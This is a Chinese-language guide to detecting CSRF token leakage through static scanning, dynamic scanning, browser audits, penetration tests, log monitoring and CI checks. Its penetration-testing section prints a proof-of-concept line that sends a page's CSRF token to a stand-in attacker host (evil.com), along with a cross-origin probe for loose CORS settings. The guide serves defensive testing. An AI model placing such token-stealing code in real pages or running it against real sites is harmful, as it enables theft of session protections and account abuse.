检测 CSRF Token 泄露漏洞的实战方法
更新: 5/24/2026 字数: 0 字 时长: 0 分钟
CSRF Token 泄露的根因可以归纳为四大类:XSS 注入、传输泄露、存储不当、配置错误。检测工作需要覆盖静态代码 → 动态扫描 → 人工审计 → 运行时监控全链路。下面按方法论分类,给出可落地的检测手段。
一、静态代码分析(SAST)
在代码层面提前发现可能导致 Token 泄露的隐患,成本最低、覆盖最广。
1. 用 SAST 工具自动扫描
| 工具 | 适用语言 | 主要检测能力 |
|---|---|---|
| SonarQube | 多语言 | 内置安全规则,可检测 XSS、不安全的 Cookie 配置 |
| Semgrep | 多语言 | 支持自定义规则,可写规则匹配"Token 写入 URL""Token 存入 LocalStorage"等模式 |
| Checkmarx / Fortify | 商业 SAST | 污点分析(Taint Analysis),追踪 Token 从生成到输出的完整路径 |
| CodeQL | GitHub 官方 | 语义级查询,可写自定义 query 查找 Token 泄露链 |
ESLint + 安全插件(eslint-plugin-security) | JS/TS | 前端代码中检测 localStorage.setItem('csrf'...) 等危险模式 |
2. 自定义检测规则(Semgrep 示例)
yaml
rules:
- id: csrf-token-in-url
pattern-either:
- pattern: $URL + "?csrf_token=" + $TOKEN
- pattern: |
fetch(`/api/...?csrf_token=${$TOKEN}`)
message: "CSRF Token 不应放在 URL 中,会通过 Referer 泄露"
severity: ERROR
- id: csrf-token-in-localstorage
pattern: localStorage.setItem("csrf_token", ...)
message: "CSRF Token 不应存入 LocalStorage,存在 XSS 窃取风险"
severity: ERROR3. 重点排查的代码模式
- Token 拼接到 URL / query string 的位置
- Token 写入
localStorage/sessionStorage - Cookie 设置时缺少
HttpOnly/Secure/SameSite - 使用弱随机数生成 Token(
Math.random()、Random()而非SecureRandom) - JSONP 接口返回 Token
- CORS 配置中
Access-Control-Allow-Origin: *且Allow-Credentials: true
二、动态应用安全测试(DAST)
在运行时模拟攻击者行为,发现实际暴露的漏洞。
1. 用 DAST 工具自动扫描
| 工具 | 主要能力 |
|---|---|
| OWASP ZAP | 开源,可检测 XSS、CSRF、敏感信息泄露,支持 CI 集成 |
| Burp Suite Professional | 行业标准,主动扫描 + 被动扫描,CSRF Token 跟踪能力强 |
| Acunetix / AppScan | 商业全自动扫描,报告详细 |
| Nuclei | 基于模板的快速扫描,可写 Token 泄露专项模板 |
2. 重点检测项
- Referer 泄露检测:扫描所有页面,确认 Token 是否出现在 URL 中(一旦出现,跳转外站时必泄露)。
- XSS 漏洞扫描:覆盖反射型、存储型、DOM 型 XSS——只要存在 XSS,Token 就可能被读取。
- 错误页面 / 调试信息泄露:触发异常,观察响应中是否回显 Token。
- CORS 跨域请求:构造跨域请求,验证响应头是否被过度放行。
三、浏览器开发者工具人工审计
适合关键页面的精细化检查,肉眼能发现工具忽略的问题。
1. Network 面板
- 翻所有请求,确认 Token 绝不出现在 URL 中(应该在请求体或自定义 Header)。
- 检查响应头:
- 含 Token 的接口是否设置了
Cache-Control: no-store(避免被代理缓存)。 - Cookie 的
Set-Cookie是否带HttpOnly、Secure、SameSite。
- 含 Token 的接口是否设置了
- 检查 Referer:跳转到外链时,Referer 是否带出敏感参数。
2. Application / Storage 面板
Cookies:确认携带 Token 的 Cookie 属性完整。Local Storage/Session Storage:绝对不应该看到 CSRF Token。IndexedDB:同样不应存储 Token。
3. Console 面板
- 执行
document.cookie,看是否能读到 Token(应读不到,因为有HttpOnly)。 - 执行
document.querySelector('meta[name=csrf-token]').content,确认 Token 仅在登录态下存在。
四、专项渗透测试
模拟真实攻击场景,验证防御链是否完整。
1. XSS 链路验证
构造 PoC,验证 XSS 是否能拿到 Token:
javascript
// 模拟攻击者在 XSS 注入点植入的代码
fetch('https://evil.com/steal?token=' +
document.querySelector('meta[name=csrf-token]').content);只要能执行成功,说明 XSS 防御 + Token 存放策略都需要修复。
2. Referer 泄露 PoC
构造一个站内链接,指向外部域名,观察请求头:
Referer: https://yoursite.com/transfer?csrf_token=abc123如果 Referer 带出 Token,说明 Token 放错了位置。
3. CORS 误配置探测
javascript
fetch('https://target.com/api/get-token', { credentials: 'include' })
.then(r => r.text()).then(console.log);从其他域名执行,能拿到响应就说明 CORS 配置过松。
4. Token 可预测性测试
连续获取多个 Token,使用 Burp Suite 的 Sequencer 进行熵分析,确认随机性是否达到密码学强度。
五、运行时监控与日志审计
防御不能只靠"发布前测试",线上持续监控才能发现新引入的漏洞。
1. 网关 / WAF 层规则
- 监控所有响应中是否出现疑似 Token 的字段写入 URL。
- 监控异常的跨域请求模式。
- 监控
Referer头中是否包含敏感参数。
2. 日志审计
- 访问日志:扫描 URL 中是否包含
csrf_token、token、_csrf等关键字(一旦命中即为高危)。 - 错误日志:异常堆栈是否回显了 Token。
- 第三方服务日志(CDN、APM、前端监控如 Sentry):确认未把 URL / 表单数据上报到第三方时夹带了 Token。
3. CSP(Content Security Policy)告警
部署严格的 CSP 策略,可同时降低 XSS 风险并捕获异常脚本行为:
http
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-xxx';
report-uri /csp-report收到 CSP 违规上报时,往往意味着 XSS 注入尝试,需要立即排查。
六、CI/CD 流水线集成
把检测左移到开发流程中,每次提交都自动跑一遍:
yaml
# 示例 GitHub Actions
- name: SAST Scan
run: semgrep --config=p/security-audit --error
- name: Dependency Audit
run: npm audit --audit-level=high
- name: DAST Scan (against staging)
run: zap-baseline.py -t https://staging.yoursite.com
- name: Secret Scan
run: gitleaks detect --source . --verbose七、专项检测清单(Checklist)
发布前可逐项核对:
| 类别 | 检查项 | 通过标准 |
|---|---|---|
| 生成 | Token 是否使用密码学安全随机数 | 使用 crypto.randomBytes / SecureRandom |
| 传输 | Token 是否仅通过 HTTPS 传输 | 全站 HSTS + 无 HTTP 端口 |
| 位置 | Token 是否出现在 URL 中 | 全站 0 命中 |
| 存储(前端) | 是否存入 LocalStorage / SessionStorage | 仅内存或 HttpOnly Cookie |
| 存储(Cookie) | 是否设置 HttpOnly + Secure + SameSite | 三项齐全 |
| XSS 防御 | 是否存在反射/存储/DOM XSS | 0 高危漏洞 |
| CORS | 是否存在 * + credentials 组合 | 严格白名单 |
| JSONP | 是否有接口通过 JSONP 返回 Token | 完全禁用 |
| 缓存 | 含 Token 的响应是否禁用缓存 | Cache-Control: no-store |
| 第三方 | 第三方脚本 / 监控是否可能拿到 Token | DOM 隔离、脱敏上报 |
| 日志 | 服务端日志是否打印 Token | 日志脱敏过滤 |
| 生命周期 | 登出后 Token 是否立即失效 | 服务端主动失效 |
八、推荐的检测组合策略
不同规模团队可分级落地:
| 团队规模 | 推荐组合 |
|---|---|
| 小团队 / 初创 | Semgrep(开源 SAST)+ OWASP ZAP(开源 DAST)+ Checklist 人工 |
| 中型团队 | SonarQube + Burp Suite + 每季度专项渗透 + CI 自动化 |
| 大型企业 / 金融级 | 商业 SAST/DAST + 红蓝对抗 + WAF 实时监控 + SOC 7×24 响应 + 安全众测(SRC) |
一句话总结
检测 CSRF Token 泄露的本质,是验证"Token 是否始终待在浏览器同源策略保护的安全区里"。 用 SAST 在代码层堵漏洞、用 DAST 在运行时找暴露、用人工渗透验证防御链、用监控审计兜底线上——四层联动,才能让 CSRF Token 真正成为可信任的防御机制。